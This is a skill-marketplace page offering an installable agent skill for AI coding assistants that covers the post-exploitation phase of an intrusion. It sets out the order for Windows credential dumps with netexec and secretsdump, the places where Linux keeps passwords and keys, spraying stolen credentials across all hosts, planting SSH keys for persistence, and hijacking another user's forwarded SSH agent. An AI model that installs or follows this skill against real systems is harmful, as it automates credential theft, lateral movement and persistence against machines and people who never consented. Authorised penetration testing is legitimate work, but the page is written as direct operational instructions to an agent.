# Post Exploit Phase

> Post-exploitation gotchas — credential dump order, DPAPI trap, host exhaustion checklist. Use when the current phase is POST_EXPLOIT.

- Skill: `s0ld13rr/post-exploit-phase` (Agent Skill)
- Install (CLI): `npx skillmds@latest add s0ld13rr/post-exploit-phase`
- Raw SKILL.md: https://api.skillmd.com/api/skills/s0ld13rr/post-exploit-phase/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: s0ld13rr (https://skillmd.com/u/s0ld13rr)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/s0ld13rr/post-exploit-phase

---


# Post-Exploitation — What You'll Get Wrong

## Credential dump ORDER matters (Windows)
Run ALL three, in this order — each extracts different secrets:
1. `--sam` — local account hashes
2. `--lsa` — service passwords, cached domain creds, DPAPI system keys
3. `--dpapi` — browser passwords, vault, cookies, Credential Manager

On Domain Controllers add `--ntds` for all domain hashes.
Fallback: `secretsdump.py DOMAIN/USER:PASS@HOST` (SAM+LSA+NTDS in one shot).

## DPAPI trap
`netexec smb HOST -u USER -p PASS --dpapi` with NO subcommands = full dump.
Adding subcommands (`cookies`, `nosystem`, `wifi`) LIMITS output. Always bare `--dpapi` first.

## Host Exhaustion — do NOT skip any host
Before a host is "done", ALL of these must be attempted:
- Privesc check (sudo -l / whoami /priv / SUID / kernel version)
- Credentials dumped (SAM+LSA+DPAPI on Windows, shadow/keys/history/configs on Linux)
- Found creds sprayed across ALL known hosts+services
- Network config enumerated (arp, routes, internal DNS) — may reveal hidden subnets
- Internal services discovered (ss -tlnp / netstat) — ports not visible externally
- Stored creds checked (autologon, cmdkey, env vars, browser profiles)

## Linux credential locations you'll miss
- `/home/*/.bash_history` — often contains passwords in commands
- App configs: `.env`, `*.conf`, `*.cfg`, `*.ini` — DB passwords, API keys
- SSH keys: `~/.ssh/` (private keys AND `authorized_keys` for persistence)
- Browser profiles: `~/.mozilla/firefox/*/logins.json`, `~/.config/google-chrome/*/Login Data`

## SSH agent forwarding hijack
If another user has agent forwarding enabled:
`find /tmp -name "agent.*"` → `SSH_AUTH_SOCK=/tmp/agent.XXXX ssh target`